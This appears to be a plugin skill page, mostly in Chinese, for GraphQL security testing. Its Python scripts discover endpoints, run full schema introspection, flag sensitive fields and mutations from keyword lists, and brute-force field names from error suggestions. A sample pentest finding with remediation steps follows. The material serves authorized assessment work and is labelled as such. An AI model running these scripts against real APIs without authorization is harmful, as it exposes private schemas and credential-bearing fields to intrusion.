Performs GraphQL introspection attacks to extract full API schemas, identify sensitive queries/mutations, test depth/complexity limits, and exploit batch/alias brute-force/nested DoS vulnerabilities.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试 GraphQL 端点是否暴露了泄露完整 API Schema 的自省功能
Performs GraphQL introspection attacks to extract full API schemas, map attack surfaces, identify sensitive fields/mutations, test query depth/complexity limits, and exploit batching/alias/nested DoS vulnerabilities. For GraphQL security testing.
Performs GraphQL introspection to extract schemas, map attack surfaces, test depth limits, and exploit batching/alias/nested query vulnerabilities in GraphQL endpoints.
Assesses GraphQL API endpoints for introspection leaks, injection attacks, authorization defects, and DoS vulnerabilities during authorized pentests.
Share bugs, ideas, or general feedback.
请勿在未获书面授权的情况下使用。Schema 提取和查询滥用测试可能影响服务可用性。
requests 和 gql 库import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}
# 常见 GraphQL 端点路径
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
# 探测 GraphQL 端点
for path in GRAPHQL_PATHS:
# 使用简单的自省查询测试
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL 端点:{TARGET}{path}")
print(f" 响应:{resp.text[:200]}")
except requests.exceptions.RequestException:
pass
# 也测试 GET 方法
try:
resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL 端点(GET):{TARGET}{path}")
except requests.exceptions.RequestException:
pass
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}
# 提取完整 Schema 的全量自省查询
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if "data" in schema and "__schema" in schema["data"]:
print("[VULNERABLE] 完整自省已启用")
types = schema["data"]["__schema"]["types"]
# 分类类型
custom_types = [t for t in types if not t["name"].startswith("__")]
queries = schema["data"]["__schema"]["queryType"]
mutations = schema["data"]["__schema"].get("mutationType")
print(f"\nSchema 摘要:")
print(f" 自定义类型:{len(custom_types)}")
print(f" 查询类型:{queries['name'] if queries else 'None'}")
print(f" 变更类型:{mutations['name'] if mutations else 'None'}")
# 列出所有自定义类型及其字段
for t in custom_types:
if t.get("fields"):
print(f"\n 类型:{t['name']}")
for field in t["fields"]:
field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
print(f" - {field['name']}: {field_type}")
# 保存 Schema 以供进一步分析
with open("graphql_schema.json", "w") as f:
json.dump(schema, f, indent=2, ensure_ascii=False)
print("\nSchema 已保存到 graphql_schema.json")
else:
print("[SECURED] 自省已禁用或受限")
print(f"响应:{resp.text[:500]}")
else:
print(f"请求失败:{resp.status_code}")
# 分析提取的 Schema,查找敏感字段和类型
SENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if "data" in schema:
print("\n=== 敏感 Schema 分析 ===\n")
for t in custom_types:
# 检查类型名称
for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
if sensitive_type.lower() in t["name"].lower():
print(f"[SENSITIVE TYPE] {t['name']}")
# 检查字段名称
if t.get("fields"):
for field in t["fields"]:
for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
if sensitive_field.lower() in field["name"].lower():
print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")
# 检查变更名称
if mutations:
mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
if mutation_type and mutation_type.get("fields"):
for mutation in mutation_type["fields"]:
for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
if sensitive_mut.lower() in mutation["name"].lower():
print(f"[SENSITIVE MUTATION] {mutation['name']}")
# 利用字段建议错误重建 Schema
def bruteforce_field(type_name, field_wordlist):
"""使用 GraphQL 错误消息发现有效字段。"""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
# GraphQL 通常在错误消息中提示有效字段名称
if "did you mean" in response_text:
# 提取建议
import re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s not in discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s}(通过建议发现)")
elif resp.status_code == 200 and "errors" not in resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fields
# 常见 GraphQL 字段名称字典
FIELD_WORDLIST = [
"id", "name", "email", "username", "password", "role", "token",
"createdAt", "updatedAt", "status", "type", "description", "title",
"firstName", "lastName", "phone", "address", "avatar", "bio",
"isAdmin", "isActive", "permissions", "groups", "orders", "items",
"price", "quantity", "total", "currency", "paymentMethod",
"ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
"apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]
# 尝试发现常见类型名称上的字段
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
print(f"\n暴力枚举 '{type_name}' 上的字段:")
fields = bruteforce_field(type_name, FIELD_WORDLIST)
| 术语 | 定义 |
|---|---|
| GraphQL 自省(Introspection) | 查询 Schema 定义的内置功能,暴露 API 中所有可用的类型、字段、查询、变更和订阅 |
| 查询深度攻击(Query Depth Attack) | 发送深度嵌套查询导致指数级解析器执行,消耗服务器资源并可能引发 DoS |
| 基于别名的批量攻击(Alias-Based Batching) | 使用 GraphQL 别名在单个请求中执行多个操作,绕过每请求速率限制 |
| Schema 重建(Schema Reconstruction) | 在自省被禁用时,通过分析错误消息和字段建议重建 GraphQL Schema |
| 字段级别授权(Field-Level Authorization) | 根据已认证用户的角色或权限控制对 GraphQL 类型中各字段的访问 |
| 查询复杂度分析(Query Complexity Analysis) | 在执行前计算 GraphQL 查询的计算成本,以强制执行资源限制 |
背景:一个电商平台从 REST 迁移到 GraphQL。GraphQL 端点为 Web 和移动前端提供服务。自省在开发期间保持启用,但未在生产环境中禁用。
方法:
/graphql 端点运行完整自省查询——完整 Schema 包含 45 个类型、120 个查询和 38 个变更AdminUser、PaymentInfo、InternalConfig、AuditLogUser 类型暴露 passwordHash、mfaSecret 和 lastLoginIp 字段deleteUser、updateRole、exportAllOrdersInternalConfig 类型,包含 databaseConnectionString 和 stripeSecretKey 字段## 发现:GraphQL 自省已启用并暴露敏感 Schema
**ID**:API-GQL-001
**严重性**:高(CVSS 7.5)
**受影响端点**:POST /graphql
**使用工具**:InQL、Clairvoyance、自定义 Python 脚本
**描述**:
GraphQL 端点在生产环境中启用了自省,暴露了完整的 API Schema,
包括 45 个类型、120 个查询和 38 个变更。
Schema 揭示了敏感内部类型(AdminUser、PaymentInfo、InternalConfig),
并暴露了包含密码哈希、MFA 密钥和数据库连接字符串的字段。
未执行查询深度或复杂度限制,可通过嵌套查询实现拒绝服务。
**修复建议**:
1. 在生产环境中禁用自省
2. 使用 GraphQL 指令实现字段级别授权(@auth、@hasRole)
3. 从 Schema 中删除敏感字段或添加授权中间件限制访问
4. 实施查询深度限制(最大 10 层)和复杂度评分
5. 禁用错误消息中的字段建议以防止 Schema 重建
6. 对 GraphQL 请求按查询而非按 HTTP 请求进行速率限制